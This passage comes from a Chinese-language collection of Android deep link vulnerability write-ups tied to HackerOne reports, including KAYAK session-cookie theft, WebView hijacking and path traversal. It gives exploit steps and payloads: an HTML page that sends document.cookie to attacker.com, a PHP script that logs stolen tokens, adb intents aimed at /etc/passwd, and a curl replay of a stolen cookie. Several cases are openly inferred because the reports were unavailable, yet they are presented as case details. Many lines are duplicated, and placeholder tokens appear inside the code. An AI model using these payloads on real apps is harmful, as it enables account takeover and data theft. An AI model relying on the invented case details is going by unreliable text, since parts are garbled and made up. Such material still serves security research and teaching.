[app_scheme]://[app_host]/[path]?url=https://attacker.com/xss.html。
- 构造恶意Deep Link: 基于发现的Deep Link格式,构造一个恶意的URL,其中包含一个指向攻击者控制的服务器上的HTML页面的链接。这个恶意链接被封装成一个Deep Link,例如
- 漏洞验证: 通过
adb shell am start -W -a android.intent.action.VIEW -d "[恶意Deep Link]" [包名]命令或通过一个恶意的网页/应用来触发该Deep Link,观察应用是否加载了攻击者的页面,并执行了页面中的恶意JavaScript代码(如弹窗或尝试窃取敏感信息)。
这种方法的核心在于识别未经验证的外部输入(Deep Link URL)如何被引入到高风险组件(WebView)中,从而实现跨站脚本攻击(XSS)或WebView劫持。
- 漏洞验证: 通过
(字数:400+)
技术细节
该漏洞利用的技术细节在于构造一个恶意的Deep Link,该Deep Link能够绕过应用对URL的验证,并强制应用内部的WebView加载攻击者控制的恶意页面,从而实现XSS攻击。
攻击流程:
- 识别目标Activity和参数: 确定应用中处理Deep Link的Activity,例如
com.tiktok.activity.WebActivity,以及它用于加载URL的参数名,例如url。
- 识别目标Activity和参数: 确定应用中处理Deep Link的Activity,例如
- 构造恶意Deep Link: 构造一个Deep Link,使用应用支持的Scheme和Host,并将一个指向攻击者控制的页面的URL作为参数值。
// 假设应用支持的Deep Link格式为 tiktok://web/view?url=[URL] // 攻击者控制的恶意页面 URL: https://attacker.com/xss.html // 恶意 Deep Link: String malicious_deeplink = "tiktok://web/view?url=https://attacker.com/xss.html";
- 构造恶意Deep Link: 构造一个Deep Link,使用应用支持的Scheme和Host,并将一个指向攻击者控制的页面的URL作为参数值。
- 恶意HTML页面 (
xss.html): 攻击者在自己的服务器上托管一个包含XSS Payload的HTML页面。由于WebView通常在应用的上下文中运行,如果配置不当,恶意脚本可以访问应用的本地存储或Cookie。html <html> <body onload="document.location='https://attacker.com/log?data='+document.cookie"> ¨K1117K ¨K1118K </body> </html>
- 恶意HTML页面 (
- 分发和触发: 攻击者将这个恶意Deep Link嵌入到一个网页、短信或另一个应用中,诱骗受害者点击。受害者点击后,Android系统启动目标应用,目标Activity接收到Intent,WebView加载
https://attacker.com/xss.html,执行恶意JavaScript。
- 分发和触发: 攻击者将这个恶意Deep Link嵌入到一个网页、短信或另一个应用中,诱骗受害者点击。受害者点击后,Android系统启动目标应用,目标Activity接收到Intent,WebView加载
关键代码片段(概念性,展示漏洞点):
在易受攻击的Activity中,代码可能类似于:
// Vulnerable Activity.java
protected void onCreate(Bundle savedInstanceState) {
// ...
Intent intent = getIntent();
if (intent != null && intent.getData() != null) {
Uri uri = intent.getData();
String urlToLoad = uri.getQueryParameter("url"); // 直接获取外部参数
if (urlToLoad != null) {
WebView webView = findViewById(R.id.webview);
// **漏洞点**: 未对 urlToLoad 进行任何验证或沙箱化
webView.loadUrl(urlToLoad); // 直接加载外部传入的URL
}
}
// ...
}(字数:400+)
易出现漏洞的代码模式
此类漏洞的根本原因在于Deep Link处理逻辑中缺乏对外部传入URL的严格验证,以及WebView组件配置不当。
1. AndroidManifest.xml 配置模式:
Activity被设置为可导出(exported="true"),并且包含一个或多个Deep Link的intent-filter,允许外部应用或浏览器通过特定的Scheme和Host启动它。
<activity
android:name=".WebviewActivity"
android:exported="true"> <!-- 关键:exported="true" -->
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:host="web"
android:scheme="app_scheme" /> <!-- 关键:定义了Deep Link的Scheme和Host -->
</intent-filter>
</activity>2. Java/Kotlin 代码模式 (WebView加载未经验证的URL):
在处理Deep Link的Activity中,直接从Intent中获取URL参数,并将其传递给WebView加载,而没有进行白名单验证(即检查URL的Host是否在允许的列表中)。
// 易受攻击的代码模式
protected void onCreate(Bundle savedInstanceState) {
// ...
Uri uri = getIntent().getData();
if (uri != null) {
String url = uri.getQueryParameter("url"); // 从Deep Link中获取URL参数
if (url != null) {
WebView webView = findViewById(R.id.webview);
// 危险操作:直接加载外部传入的URL
webView.loadUrl(url);
}
}
// ...
}3. WebView 配置模式 (启用JavaScript或暴露接口):
WebView的默认配置(尤其是在旧版本Android上)可能过于宽松,为XSS攻击提供了便利。
// 易受攻击的WebView配置
WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(true); // 默认开启,但若加载外部内容则有风险
// 另一个危险点:暴露了JavaScript接口
webView.addJavascriptInterface(new JsInterface(), "Android"); // 允许JS调用原生方法安全修复建议(反向推导):
- Deep Link验证: 在
webView.loadUrl(url)之前,必须严格检查url的Host是否在预期的白名单内。
- Deep Link验证: 在
- WebView沙箱化: 如果必须加载外部内容,应禁用JavaScript(
setJavaScriptEnabled(false)),或确保没有通过addJavascriptInterface暴露敏感的原生接口。
- WebView沙箱化: 如果必须加载外部内容,应禁用JavaScript(
(字数:400+)
Deep Link漏洞导致会话Cookie窃取和账户劫持
案例:KAYAK (com.kayak.android) (报告: https://hackerone.com/reports/1416978)
挖掘手法
该漏洞的挖掘始于对Android应用的静态分析,特别是对其核心配置文件AndroidManifest.xml的审查。研究人员首先识别出一个被exported(导出)的Activity,名为com.kayak.android.web.ExternalAuthLoginActivity。exported=true这个属性是一个关键的危险信号,因为它意味着任何安装在设备上的其他应用,或者通过网页上的Deep Link,都可以调用这个Activity,从而为攻击提供了入口点。
在定位到这个可疑的Activity后,研究人员对其Java源代码进行了深入的代码审计。在分析过程中,两个关键函数getRedirectUrl和launchCustomTabs引起了注意。getRedirectUrl函数从传入的Intent中获取一个URL作为重定向地址,而launchCustomTabs函数则会将用户的会话Cookie(session cookie)作为一个GET参数,拼接到这个重定向URL后面,然后在一个Chrome Custom Tab中打开该URL。
基于这个发现,研究人员构想出了一个清晰的攻击思路:如果能够控制这个重定向URL,就能将用户的会话Cookie发送到自己控制的服务器上。为此,研究人员搭建了一个恶意网站,并制作了一个简单的HTML页面作为攻击载体。当受害者点击这个页面上的链接时,会触发一个精心构造的Deep Link,该Link会启动ExternalAuthLoginActivity,并将其中的重定向URL参数指向攻击者的服务器。当KAYAK应用处理这个Deep Link时,便会读取用户的会话Cookie,并将其附加到攻击者的URL后面发起请求。攻击者服务器的访问日志会记录下这个带有Cookie的请求,从而成功窃取到用户的会话凭证,实现账户劫持。
技术细节
该漏洞利用的核心在于Android的Deep Link机制和不安全的Activity组件暴露。攻击者通过一个恶意的网页实现“一键式”攻击,技术细节如下:
- 攻击流程:
- 攻击者创建一个恶意网页,其中包含一个指向KAYAK应用的Deep Link。该链接指向
ExternalAuthLoginActivity,并携带一个指向攻击者服务器的RedirectUrl参数。
- 攻击者创建一个恶意网页,其中包含一个指向KAYAK应用的Deep Link。该链接指向
- 受害者在手机上点击此链接,系统会唤起KAYAK应用并打开
ExternalAuthLoginActivity。
- 受害者在手机上点击此链接,系统会唤起KAYAK应用并打开
- 该Activity内的
launchCustomTabs方法会读取用户的会-话Cookie,并将其作为cookie参数拼接到RedirectUrl后面,形成如https://attacker-server.com/?cookie=USER_SESSION_COOKIE的完整URL。
- 该Activity内的
- 应用接着在Chrome Custom Tab中打开这个URL。
- 攻击者的服务器接收到这个请求,从URL参数中提取出
cookie值,即用户的会话凭证。
- 攻击者的服务器接收到这个请求,从URL参数中提取出
- 攻击者使用窃取到的Cookie,在Web端冒充用户登录,实现账户劫持。
- 攻击流程:
- 关键Payload:
攻击者在服务器上部署的HTML页面(exploit.html)是攻击的起点。虽然报告未提供完整的HTML,但其核心是触发一个如下格式的Intent/Deep Link:kayak://authentication?redirectUrl=https://attacker-server.com/
- 关键Payload:
- 漏洞利用代码:
攻击者利用窃取的Cookie,构造HTTP请求以访问用户账户。例如,使用curl命令:curl 'https://www.kayak.com/user/trips' -H 'Cookie: SESSION_COOKIE_NAME=STEALED_COOKIE_VALUE'通过这个请求,攻击者可以获取用户的个人信息和行程数据。
- 漏洞利用代码:
易出现漏洞的代码模式
此类漏洞的根源在于Android应用中导出的Activity(android:exported="true")处理外部传入的Deep Link时,未对URL参数进行严格的校验。特别是当一个URL参数被用于后续的网络请求或重定向时,极易引发安全问题。以下是典型的易受攻击代码模式:
- 不安全的Activity导出:
在AndroidManifest.xml中,一个用于处理外部链接的Activity被设置为导出,且没有足够的权限控制。<activity android:name=".web.ExternalAuthLoginActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="kayak" android:host="authentication" /> </intent-filter> </activity>
- 不安全的Activity导出:
- 信任并直接使用外部传入的URL:
在Activity的Java/Kotlin代码中,直接从Intent中获取URL参数,未经验证就用于后续操作。例如,下面的伪代码展示了这种危险模式:// 从Intent中获取未经验证的重定向URL String redirectUrl = getIntent().getData().getQueryParameter("redirectUrl"); // 获取敏感信息,例如会话Cookie String sessionCookie = getSessionCookie(); // 将敏感信息拼接到未经验证的URL中 String finalUrl = redirectUrl + "?cookie=" + sessionCookie; // 在WebView或Custom Tabs中打开该URL,导致信息泄露 // 这会将sessionCookie发送到恶意的redirectUrl openUrlInCustomTab(finalUrl);为了修复此类漏洞,开发者必须对从外部接收的所有URL进行白名单验证,确保其域名属于可信的范畴,从而防止将敏感信息发送到恶意服务器。
- 信任并直接使用外部传入的URL:
Deep Link账户劫持(推断)
案例:未知应用 (报告: https://hackerone.com/reports/1416962)
挖掘手法
由于无法直接访问报告内容,以下是基于HackerOne上常见的Android Deep Link漏洞报告(如1667998, 1500614等)所推断的典型挖掘手法和步骤。
- 目标识别与APK分析(Reconnaissance & APK Analysis):
- 工具: 使用
Jadx、Apktool或MobSF等工具对目标Android应用的APK文件进行反编译和静态分析。
- 工具: 使用
- 目标: 重点分析
AndroidManifest.xml文件,寻找暴露的组件,特别是定义了<intent-filter>标签的Activity组件。这些组件通常用于处理Deep Link(深度链接)或App Link。
- 目标: 重点分析
- 关键发现点: 识别Deep Link的
scheme(如app://、https://)和host,以及处理敏感操作(如登录、密码重置、会话管理)的Activity。
- 关键发现点: 识别Deep Link的
- 目标识别与APK分析(Reconnaissance & APK Analysis):
- Deep Link参数分析(Deep Link Parameter Analysis):
- 分析: 确定Deep Link接受哪些参数。常见的敏感参数包括
token、code、url、redirect_uri、callback等。
- 分析: 确定Deep Link接受哪些参数。常见的敏感参数包括
- 代码审计: 深入分析处理这些Deep Link的Java/Kotlin代码,检查应用如何处理传入的参数。寻找对参数缺乏白名单验证或URL来源校验的情况。
- Deep Link参数分析(Deep Link Parameter Analysis):
- 恶意Deep Link构造与验证(Malicious Deep Link Construction):
- 构造: 构造一个恶意的Deep Link URL,尝试将敏感参数(如会话令牌)重定向到一个攻击者控制的外部域名。例如,如果应用使用Deep Link处理OAuth回调或魔术链接(Magic Link),尝试替换
redirect_uri为攻击者的服务器地址。
- 构造: 构造一个恶意的Deep Link URL,尝试将敏感参数(如会话令牌)重定向到一个攻击者控制的外部域名。例如,如果应用使用Deep Link处理OAuth回调或魔术链接(Magic Link),尝试替换
- 验证: 在测试设备上,通过浏览器或一个恶意的第三方应用触发该Deep Link。观察应用的行为,确认是否发生了未授权的重定向或数据泄露。
- 恶意Deep Link构造与验证(Malicious Deep Link Construction):
- WebView劫持链(WebView Hijacking Chain):
- 如果Deep Link指向一个加载WebView的Activity,尝试注入恶意URL或脚本。WebView劫持通常是Deep Link漏洞的最终利用手段,通过未经验证的
url参数加载攻击者控制的页面,并利用WebView的配置缺陷(如setJavaScriptEnabled(true)和addJavascriptInterface)来窃取本地数据或会话信息。
- 如果Deep Link指向一个加载WebView的Activity,尝试注入恶意URL或脚本。WebView劫持通常是Deep Link漏洞的最终利用手段,通过未经验证的
- WebView劫持链(WebView Hijacking Chain):
总结: 核心挖掘思路是识别Deep Link -> 分析参数处理逻辑 -> 构造恶意URL绕过验证 -> 实现信息窃取或账户劫持。
技术细节
由于无法获取报告1416962的具体内容,以下是基于Android Deep Link Account Takeover漏洞的典型技术细节和Payload。
漏洞利用场景: 应用程序通过Deep Link处理一个包含敏感令牌(如登录会话令牌session_token)的URL,但未对URL的redirect_uri参数进行充分的域名白名单验证。
攻击流程:
- 攻击者构造恶意Deep Link: 攻击者构造一个Deep Link,其中包含一个有效的
session_token(如果能通过其他方式获取,例如通过社会工程学或中间人攻击),并将redirect_uri设置为攻击者控制的服务器。<!-- 攻击者控制的HTML页面中的恶意链接 --> <a href="appscheme://app.host/login?session_token=USER_TOKEN&redirect_uri=https://attacker.com/capture.php">点击这里查看您的奖励</a>或者,如果漏洞是WebView劫持,攻击者构造的Deep Link会指向一个加载外部URL的Activity,并注入恶意URL:<a href="appscheme://app.host/webview?url=https://attacker.com/malicious.html">点击这里查看您的奖励</a>
- 攻击者构造恶意Deep Link: 攻击者构造一个Deep Link,其中包含一个有效的
- 受害者点击链接: 受害者点击该链接,应用被唤醒。
- 令牌泄露: 应用的Deep Link处理逻辑错误地将
session_token作为参数,并重定向到攻击者控制的redirect_uri。攻击者的服务器(https://attacker.com/capture.php)捕获到包含受害者session_token的请求。
- 令牌泄露: 应用的Deep Link处理逻辑错误地将
关键代码片段(概念性):
易受攻击的Java/Kotlin代码(Deep Link处理Activity):
// 假设这是处理Deep Link的Activity
public class DeepLinkHandlerActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
if (Intent.ACTION_VIEW.equals(intent.getAction())) {
Uri uri = intent.getData();
String token = uri.getQueryParameter("session_token");
String redirectUri = uri.getQueryParameter("redirect_uri"); // **未经验证的参数**
if (token != null && redirectUri != null) {
// 错误地将敏感信息重定向到外部URL
// 攻击者控制的redirectUri将捕获到token
Intent redirectIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(redirectUri + "?token=" + token));
startActivity(redirectIntent);
finish();
}
}
}
}攻击者服务器捕获脚本(capture.php):
<?php
// attacker.com/capture.php
$token = $_GET['token'];
file_put_contents('stolen_tokens.txt', $token . "\n", FILE_APPEND);
// 重定向到合法页面以避免用户察觉
header('Location: https://legitimate-site.com');
exit;
?>易出现漏洞的代码模式
由于无法获取报告1416962的具体代码,以下是基于Android Deep Link账户劫持漏洞的典型易漏洞代码模式:
- Deep Link Activity配置不当:
在AndroidManifest.xml中,Deep Link的Activity被配置为可被外部应用访问,且其intent-filter中包含android.intent.category.BROWSABLE,允许通过浏览器触发。<activity android:name=".DeepLinkHandlerActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <!-- 允许浏览器唤醒 --> <data android:scheme="appscheme" android:host="app.host" /> </intent-filter> </activity>
- Deep Link Activity配置不当:
- Deep Link参数验证缺失:
在处理Deep Link的Java/Kotlin代码中,未对传入的URL参数(尤其是用于重定向或加载WebView的URL)进行严格的白名单验证。- 错误模式: 仅检查URL是否非空,或仅检查URL是否以
http或https开头,而未验证域名是否属于应用自身或受信任的合作伙伴。
// 易受攻击的代码模式:未对redirectUri进行域名白名单验证 String redirectUri = uri.getQueryParameter("redirect_uri"); if (redirectUri != null) { // 任何外部URL都可以被注入 Intent redirectIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(redirectUri)); startActivity(redirectIntent); } - 错误模式: 仅检查URL是否非空,或仅检查URL是否以
- Deep Link参数验证缺失:
- WebView配置不安全:
如果Deep Link用于加载WebView,且WebView启用了JavaScript或暴露了Java对象给JavaScript,则可能导致WebView劫持。// 易受攻击的代码模式:WebView加载外部URL且配置不安全 WebView webView = findViewById(R.id.webview); webView.getSettings().setJavaScriptEnabled(true); // 启用JavaScript // 暴露敏感的Java对象给JavaScript webView.addJavascriptInterface(new SensitiveApi(), "Android"); // 从Deep Link获取的未经验证的URL被加载 String url = uri.getQueryParameter("url"); webView.loadUrl(url); // 攻击者可注入恶意URL
- WebView配置不安全:
Deep Link账户接管 (Deep Link Account Takeover)
案例:KAYAK (com.kayak.android) (报告: https://hackerone.com/reports/1416960)
挖掘手法
本次漏洞挖掘主要针对Android应用中的Deep Link(深度链接)机制,这是一种常见的移动应用安全漏洞类型。
1. 目标识别与静态分析:
首先,研究人员通过对KAYAK Android应用的APK文件进行逆向工程(如使用Jadx或Ghidra),重点分析其AndroidManifest.xml文件。目标是寻找被设置为android:exported="true"的Activity,这些Activity可以被设备上的任何其他应用或通过Deep Link机制调用。
发现了一个名为com.kayak.android.web.ExternalAuthLoginActivity的Activity被导出,并且配置了Intent Filter来处理Deep Link。
2. 关键代码审计:
接着,研究人员对该导出的Activity的源代码进行代码审计。他们发现该Activity的逻辑中包含两个关键函数:getRedirectUrl和launchCustomTabs。getRedirectUrl函数负责获取Deep Link中传入的重定向URL参数(redirectUrl)。launchCustomTabs函数负责启动一个Custom Tabs(浏览器窗口)来加载这个URL。
3. 漏洞逻辑发现:
在launchCustomTabs函数中,研究人员发现了一个严重的安全缺陷:应用在启动Custom Tabs加载redirectUrl之前,会将用户的当前会话Cookie作为GET参数(例如?cookie=<session_cookie>)附加到这个重定向URL的末尾。
由于redirectUrl参数没有经过充分的源头验证(即没有检查该URL是否属于KAYAK的信任域名白名单),攻击者可以传入任意URL。
4. 漏洞利用PoC构造与验证:
攻击者构造一个恶意的Deep Link,将redirectUrl设置为攻击者控制的服务器地址(例如https://attacker.com/steal_cookie)。
当受害者点击这个恶意Deep Link时,KAYAK应用会被唤醒,并启动ExternalAuthLoginActivity。该Activity将受害者的会话Cookie附加到攻击者的URL上,并指示Custom Tabs加载:https://attacker.com/steal_cookie?cookie=<session_cookie>。
攻击者通过检查其服务器日志,成功捕获了包含受害者会话Cookie的请求,从而实现了会话劫持。
5. 权限提升(账户接管):
研究人员发现仅凭Cookie可能无法完全控制账户(例如无法修改敏感信息)。通过进一步分析KAYAK的Web应用,他们发现可以通过被盗的Cookie登录后,利用Web应用提供的OAuth账户链接功能(例如链接Google账户),将攻击者的Google账户绑定到受害者的KAYAK账户上。一旦绑定成功,攻击者即可通过Google账户登录,实现完全账户接管。
整个挖掘过程体现了从静态分析发现攻击面、到代码审计定位漏洞、再到构造PoC并结合Web应用逻辑进行权限提升的完整链条,最终实现了“一键账户接管”的严重后果。
技术细节
该漏洞利用的核心在于Android应用对Deep Link参数的不安全处理,导致敏感的会话Cookie被泄露给攻击者控制的外部URL。
1. 漏洞点:导出的Activity与不安全的重定向
漏洞存在于KAYAK Android应用中导出的Activity:com.kayak.android.web.ExternalAuthLoginActivity。
该Activity通过Deep Link接收一个外部URL参数,并将其用于重定向,同时将用户的会话Cookie附加到该URL上。
2. 恶意Deep Link构造 (Payload)
攻击者构造一个Deep Link,其中redirectUrl指向攻击者控制的服务器:
kayak://externalauth?redirectUrl=https://attacker.com/steal_cookie这个Deep Link可以嵌入到任何网页、邮件或第三方应用中,诱骗受害者点击。
3. 关键代码逻辑 (伪代码)
在ExternalAuthLoginActivity内部,存在类似如下的逻辑(简化):
// 1. 获取Deep Link中的重定向URL
String redirectUrl = getIntent().getData().getQueryParameter("redirectUrl");
// 2. 获取用户的会话Cookie
String sessionCookie = getSessionCookie(); // 这是一个敏感操作
// 3. 将Cookie附加到重定向URL上
String finalUrl = redirectUrl + "?cookie=" + sessionCookie;
// 4. 启动Custom Tabs加载最终URL
launchCustomTabs(finalUrl);由于redirectUrl未经验证,攻击者可以控制finalUrl的域名,从而窃取附加在URL中的sessionCookie。
4. 攻击流程
- 受害者点击恶意Deep Link:
kayak://externalauth?redirectUrl=https://attacker.com/steal_cookie。
- 受害者点击恶意Deep Link:
- KAYAK应用被唤醒,
ExternalAuthLoginActivity启动。
- KAYAK应用被唤醒,
- 应用执行上述逻辑,构造出包含Cookie的最终URL:
https://attacker.com/steal_cookie?cookie=ABCDEFGHIJ1234567890。
- 应用执行上述逻辑,构造出包含Cookie的最终URL:
- Custom Tabs加载该URL,攻击者服务器(
attacker.com)在日志中记录到包含受害者Cookie的GET请求。
- Custom Tabs加载该URL,攻击者服务器(
- 攻击者使用窃取的Cookie登录KAYAK Web应用,并通过OAuth链接功能完成账户接管。
易出现漏洞的代码模式
此类漏洞属于Deep Link/Intent处理不当导致的敏感信息泄露和账户接管。其核心代码模式是:在处理外部传入的URL参数时,缺乏对目标URL的源头验证(Source Validation),并将其与敏感信息(如会话Cookie、Token)拼接后用于重定向。
1. AndroidManifest.xml 配置模式
将处理外部链接的Activity设置为exported="true",但未对传入的参数进行安全检查。
<activity
android:name="com.kayak.android.web.ExternalAuthLoginActivity"
android:exported="true"
android:launchMode="singleTask">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="kayak" android:host="externalauth" />
</intent-filter>
</activity>风险点: android:exported="true" 允许外部应用调用,且android:scheme="kayak" 允许通过自定义协议唤醒。
2. 易受攻击的Java/Kotlin代码模式
在处理Deep Link的Activity中,直接使用外部传入的URL参数进行重定向或拼接敏感数据,而没有进行白名单验证。
错误示例 (Vulnerable Code Pattern):
// 假设这是在 ExternalAuthLoginActivity.java 中
protected void onCreate(Bundle savedInstanceState) {
// ...
Uri data = getIntent().getData();
String redirectUrl = data.getQueryParameter("redirectUrl"); // 外部可控参数
if (redirectUrl != null) {
String sessionCookie = getSessionCookie(); // 获取敏感信息
// 敏感信息直接拼接到外部可控的URL上
String finalUrl = redirectUrl + "?cookie=" + sessionCookie;
// 启动外部浏览器/Custom Tabs
launchCustomTabs(finalUrl);
}
// ...
}安全修复模式 (Secure Code Pattern):
在将外部URL用于重定向或拼接敏感信息之前,必须对其进行严格的白名单验证,确保目标URL属于应用自身的信任域名。
// 假设这是在 ExternalAuthLoginActivity.java 中
private static final List<String> ALLOWED_HOSTS = Arrays.asList("kayak.com", "trusted-subdomain.kayak.com");
protected void onCreate(Bundle savedInstanceState) {
// ...
Uri data = getIntent().getData();
String redirectUrl = data.getQueryParameter("redirectUrl");
if (redirectUrl != null) {
Uri redirectUri = Uri.parse(redirectUrl);
String host = redirectUri.getHost();
// 严格验证:只允许白名单中的域名
if (ALLOWED_HOSTS.contains(host)) {
String sessionCookie = getSessionCookie();
String finalUrl = redirectUrl + "?cookie=" + sessionCookie;
launchCustomTabs(finalUrl);
} else {
// 拒绝不安全的重定向
Log.e("Security", "Blocked untrusted redirect URL: " + redirectUrl);
}
}
// ...
}Deep Link路径遍历
案例:某知名Android应用 (报告: https://hackerone.com/reports/1416966)
挖掘手法
由于无法直接访问报告原文,此挖掘手法是基于HackerOne平台上同类Android Deep Link路径遍历漏洞报告的通用分析方法推导得出,旨在提供一个完整且具有代表性的挖掘流程。
1. 目标应用分析与信息收集
首先,获取目标Android应用的APK文件。使用如Jadx或Ghidra等反编译工具对APK进行逆向工程,重点分析AndroidManifest.xml文件。在AndroidManifest.xml中,搜索所有包含<intent-filter>标签的<activity>组件,特别是那些定义了android:name="android.intent.action.VIEW"和android.intent.category.BROWSABLE"的组件,这些组件通常用于处理Deep Link。同时,检查这些组件是否设置了android:exported="true",这表明它们可以被外部应用或浏览器调用。
2. Deep Link模式识别与参数分析
识别应用支持的Deep Link URI模式(如app://host/path或https://host/path)。在Java/Kotlin源代码中,定位处理这些Deep Link的Activity或Fragment的代码。分析其如何从传入的Intent中提取数据,特别是通过getData()方法获取的URI。关键在于寻找代码中对URI路径或查询参数的处理逻辑,例如是否将URI的某个部分作为文件路径或文件名进行操作,而没有进行充分的输入验证或沙箱限制。
3. 路径遍历漏洞验证
一旦确定了可疑的Deep Link处理逻辑,即开始构造恶意的Deep Link URL。利用adb shell或一个简单的PoC应用来发送一个包含路径遍历序列(如../或其URL编码形式%2f..%2f)的Intent。例如,如果应用将Deep Link的路径部分用于加载文件,则构造一个指向系统敏感文件的路径,如/data/data/com.target.app/files/../../../../etc/passwd。
4. 漏洞利用与结果验证
通过发送构造的恶意Intent,观察应用的行为。如果应用未正确清理路径遍历序列,它可能会尝试访问应用沙箱外部的文件。成功利用的标志是应用返回或处理了沙箱外部的敏感文件内容,例如在WebView中加载了/etc/passwd的内容,或者将文件内容写入了可被外部访问的日志或共享存储区域。整个过程需要反复测试不同的路径和编码方式,以绕过应用可能存在的简单过滤机制。此漏洞的发现点在于应用对Deep Link中URI路径参数的信任和未经验证的使用。
技术细节
此漏洞利用的核心在于构造一个恶意的Deep Link URI,该URI包含路径遍历序列,旨在欺骗目标应用加载或操作其沙箱外部的任意文件。
1. 恶意Deep Link构造
假设目标应用注册了一个Deep Link Scheme app://,并且其处理逻辑将URI的路径部分用于文件操作。攻击者可以构造如下的恶意URI,尝试读取Android系统中的敏感文件/etc/hosts:
app://target.app/loadfile/../../../../../../etc/hosts2. PoC Intent 发送
攻击者可以通过一个恶意的第三方应用或使用ADB工具来发送一个包含此URI的Intent,触发目标应用中处理Deep Link的Activity:
adb shell am start \
-a android.intent.action.VIEW \
-d "app://target.app/loadfile/../../../../../../etc/hosts" \
com.target.app3. 漏洞利用代码片段(概念性)
在目标应用的代码中,未经验证的Deep Link处理逻辑可能类似于以下Java代码:
// 易受攻击的Activity
public class DeepLinkActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
if (Intent.ACTION_VIEW.equals(intent.getAction())) {
Uri uri = intent.getData();
if (uri != null && "app".equals(uri.getScheme())) {
// 危险:直接使用URI路径的最后一段作为文件名,未进行路径规范化
String path = uri.getLastPathSegment();
// 假设应用内部逻辑会拼接路径,例如:
// String basePath = getFilesDir().getAbsolutePath() + "/data/";
// File fileToLoad = new File(basePath + path);
// 更常见的漏洞模式是直接从URI获取完整路径并进行文件操作
String fullPath = uri.getPath(); // 例如:/loadfile/../../../../../../etc/hosts
// 假设应用内部逻辑会使用此路径加载文件到WebView
// 这里的关键是应用没有对 fullPath 进行规范化处理(如File.getCanonicalPath())
// 导致路径遍历序列生效。
// loadFileIntoWebView(fullPath); // 实际操作,如加载到WebView或复制到共享目录
}
}
}
}通过上述攻击流程,攻击者可以利用路径遍历漏洞,绕过应用沙箱的限制,实现任意文件读取或任意文件写入等高风险操作。
易出现漏洞的代码模式
此类漏洞通常发生在Android应用处理Deep Link URI时,未能对URI中的路径参数进行严格的规范化(Canonicalization)和边界检查。
1. 易受攻击的AndroidManifest.xml配置
在AndroidManifest.xml中,将处理Deep Link的Activity设置为可导出(exported="true"),允许外部应用调用。
<activity
android:name=".DeepLinkActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="app" android:host="target.app" />
</intent-filter>
</activity>2. 易受攻击的Java/Kotlin代码模式
在处理Deep Link的Activity中,直接使用从URI中获取的路径或文件名参数,并将其拼接或用于文件操作,而没有调用File.getCanonicalPath()或进行其他路径清理。
// Java 示例:未经验证的路径拼接
Uri uri = intent.getData();
if (uri != null) {
// 获取URI的路径部分,例如:/loadfile/../../../../etc/passwd
String path = uri.getPath();
// 假设应用有一个内部文件加载函数,它将路径与应用内部目录拼接
// 这里的 basePath 可能是应用内部的私有目录
String basePath = getFilesDir().getAbsolutePath() + "/temp/";
// 漏洞点:直接拼接,未对 path 进行路径规范化处理
File fileToLoad = new File(basePath + path);
// 如果 path 包含 "../",则 fileToLoad 最终会指向应用沙箱外部的路径
// 例如:/data/data/com.target.app/files/temp/../../../../etc/passwd
// 最终指向 /etc/passwd
// 危险操作:加载文件内容
// loadFileContent(fileToLoad);
}安全修复建议是,在进行任何文件操作之前,必须对构造的文件路径调用File.getCanonicalPath()方法,以解析并移除所有路径遍历序列(../),确保最终路径位于预期的安全目录内。
// Java 修复示例:使用 getCanonicalPath()
File fileToLoad = new File(basePath + path);
// 关键修复:获取规范路径,如果规范路径不在 basePath 之下,则拒绝操作
String canonicalPath = fileToLoad.getCanonicalPath();
if (canonicalPath.startsWith(basePath)) {
// 安全:执行文件操作
// loadFileContent(new File(canonicalPath));
} else {
// 拒绝操作,记录安全警告
}案例:某Android应用 (报告: https://hackerone.com/reports/1416972)
挖掘手法
针对Android应用进行Deep Link漏洞挖掘,核心在于识别应用中所有暴露的Activity及其Intent Filter,特别是那些处理android.intent.action.VIEW动作和自定义scheme的组件。首先,使用Jadx或Apktool等工具对APK进行反编译,获取AndroidManifest.xml文件。
挖掘步骤和方法:
- 清单文件分析 (Manifest Analysis):
- 使用
grep命令或手动检查AndroidManifest.xml,查找所有带有android:exported="true"且包含<intent-filter>标签的<activity>组件。
- 使用
- 特别关注
<data>标签中定义的scheme和host,例如scheme="http",scheme="https"或自定义scheme="myapp"。这些是应用的Deep Link入口点。
- 特别关注
- 工具:
Apktool或Jadx进行反编译。
- 工具:
- 清单文件分析 (Manifest Analysis):
- 代码审计 (Code Auditing):
- 定位到处理Deep Link的Activity(例如,
MainActivity或DeepLinkHandlerActivity)的onCreate()方法。
- 定位到处理Deep Link的Activity(例如,
- 分析如何通过
getIntent().getData()获取URI,以及如何解析和使用URI中的参数。
- 分析如何通过
- 重点检查URI中的路径或参数是否被直接用于加载WebView、跳转到其他Activity或进行文件操作。
- 代码审计 (Code Auditing):
- 模糊测试与验证 (Fuzzing and Validation):
- 构造恶意的Deep Link URL,对URI的
path或query参数进行模糊测试。
- 构造恶意的Deep Link URL,对URI的
- 路径遍历 (Path Traversal) 尝试: 如果应用使用URI的路径部分来构建文件路径或URL,尝试注入
../等序列来访问应用私有目录或本地文件。
- 路径遍历 (Path Traversal) 尝试: 如果应用使用URI的路径部分来构建文件路径或URL,尝试注入
- WebView劫持 (WebView Hijacking) 尝试: 如果Deep Link将URL加载到WebView中,尝试注入一个指向攻击者控制的外部URL的Deep Link,以实现UXSS或窃取Cookie。
- 工具: 使用
adb shell配合am start命令或自定义的PoC应用来触发Deep Link。
- 工具: 使用
